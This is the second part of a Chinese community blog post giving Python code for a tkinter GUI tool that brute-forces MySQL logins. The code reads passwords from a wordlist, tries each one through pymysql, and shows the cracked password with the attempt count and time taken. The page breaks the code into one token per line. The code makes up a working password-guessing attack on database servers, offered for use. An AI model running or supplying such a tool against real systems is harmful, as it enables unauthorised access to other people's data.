Python暴力破解Mysql数据的示例(下)
【摘要】 line = f.readline() if content is not False: break else: num += 1 print("正在执行破解,密码:" + password) f.close() end_time = time.time() count_time = end_time - start_time if con...
line
=
f.readline()
if
content
is
not
False
:
break
else
:
num
+
=
1
print
(
"正在执行破解,密码:"
+
password)
f.close()
end_time
=
time.time()
count_time
=
end_time
-
start_time
if
content
is
not
False
:
tkinter.messagebox.showinfo(
'破解成功'
,
'密码:'
+
password
+
'\n耗时:'
+
str
(count_time)
+
'\n尝试次数:'
+
str
(num))
else
:
tkinter.messagebox.showinfo(
'破解失败'
,
'结果:未找到密码'
+
'\n耗时:'
+
str
(count_time)
+
'\n尝试次数:'
+
str
(num))
# 数据库连接测试
def
find_pass(host, port, database, name, password):
try
:
con
=
pymysql.connect(
# 数据库地址
host
=
'%s'
%
host,
# 端口
port
=
int
(port),
# 用户名
user
=
'%s'
%
name,
# 密码
password
=
'%s'
%
password,
# 数据库名称
database
=
'%s'
%
database,
# 编码设置
charset
=
'utf8'
)
con.close()
return
password
# 连接成功返回 密码
except
:
return
False
# 按钮
submit
=
tkinter.Button(win, text
=
"开始"
, bg
=
"#005ca9"
, fg
=
"#FFF"
, width
=
20
, height
=
1
, command
=
button_call_back)
submit.place(x
=
130
, y
=
170
)
# 进入消息循环
win.mainloop()
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)